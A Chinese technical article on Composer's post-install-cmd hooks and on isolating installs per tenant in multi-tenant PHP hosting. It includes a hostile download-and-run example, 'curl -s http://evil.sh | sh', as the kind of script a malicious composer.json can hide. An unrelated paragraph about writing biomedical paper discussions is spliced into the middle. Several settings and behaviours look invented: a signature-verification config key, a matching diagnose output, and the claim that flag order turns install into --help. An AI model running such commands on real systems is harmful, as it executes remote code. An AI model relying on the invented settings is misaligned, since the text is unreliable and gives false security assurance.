post-install-cmd必然执行,只要运行composer install且未加--no-scripts;多租户场景下需配合--no-plugins、-d指定独立目录、隔离composer_cache_dir,并保留官方源签名验证以确保安全。

post-install-cmd 会无条件执行,不是“可能”而是“必然”
只要运行 composer install 且没加 --no-scripts,post-install-cmd 就一定会跑——不管它写的是 php artisan key:generate 还是 curl -s http://evil.sh | sh。这不是漏洞利用,是 Composer 的默认行为。
多租户系统里,一个租户的 composer.json 里藏了恶意脚本,其他租户共用同一台机器执行安装时,只要没禁用钩子,就可能被波及。
-
--no-scripts只关掉scripts字段定义的钩子;插件(如symfony/flex)能绕过这个字段,悄悄注册自己的钩子 - 必须同步加
--no-plugins,才能跳过整个插件加载流程:不读plugins字段、不扫描vendor/、不调用任何activate() -
composer install --no-scripts --no-plugins是唯一官方支持的“零钩子”组合,顺序不能错(composer --no-scripts install等价于composer --help)
多个租户共用同一进程或目录会导致磁盘 I/O 冲突
即使加了 --no-scripts --no-plugins,如果多个租户共用同一个 composer install 进程或工作目录,仍可能因并发争抢磁盘 I/O 或临时文件冲突失败。
典型表现是 Failed to extract xxx、unable to create directory、Hash mismatch for xxx,这些都不是缓存问题,而是 vendor 目录结构被破坏的结果。
围绕关键发现、作用机制、临床相关性及研究局限性展开讨论。适用于撰写或优化任何生物医学论文的“讨论(Discussion)”部分——包括结果解读、与既往文献关联、阐释意外发现、界定研究局限性,以及撰写结论。当用户输入以下任一指令时也会自动触发该功能: - “write my discussion” - “help me discuss my findings” - “how do I compare to prior studies” - “write the limitations par
- 每个租户安装必须指定独立工作目录:
composer install --no-scripts --no-plugins -d "tenants/abc123" - 不要依赖
CWD切换,-d参数显式隔离更可靠 - 共享存储(NFS、SMB、CephFS)上
flock()跨节点失效,composer.lock写入必然损坏;多租户部署必须单点构建 + 预打包分发,不能并发 install
全局缓存污染会让租户间互相影响
默认情况下,所有租户共享 ~/.composer/cache,一旦某人用 sudo composer global require,整个缓存目录归属变成 root:root,其他用户执行 composer install 就会卡在 Permission denied。
更隐蔽的问题是:不同租户 PHP 版本、扩展、平台配置不同,却复用了同一份缓存元数据,导致包解析出错、版本误判、甚至 class not found。
- 用
COMPOSER_CACHE_DIR=/tmp/composer-cache-tenant-abc123强制隔离每个租户缓存路径 - 同时配
cache-vcs-dir,否则 Git 包每次重 clone,和cache-dir完全无关 - 避免把缓存挂到 NFS 或 Docker volume 上——内核可能静默拒绝写入,错误只藏在
-vvv日志里
镜像源配置错误会直接关闭签名验证链
很多多租户平台为加速安装,统一配中文镜像,但若用 composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/,就彻底替换了官方源,导致 Composer 收不到 packagist.org 返回的 signature 字段,签名验证静默失效。
此时哪怕 composer.lock 被篡改、ZIP 包被劫持替换,也不会报错——CI 构建成功,线上却跑出未声明的钩子或类加载异常。
- 安全配置必须保留官方源语义:
composer config -g repos.packagist.type composer+composer config -g repos.packagist.url https://mirrors.aliyun.com/composer/ - 强制开启签名:
composer config -g security.signature-verification true - 验证是否生效:
composer diagnose输出中必须同时出现secure-http: OK和signature verification: OK
.env 生成、前端资源编译、目录权限设置、数据库迁移这些事不会自动发生——你得自己补上,而且得在租户隔离上下文中补,不能靠全局脚本兜底。










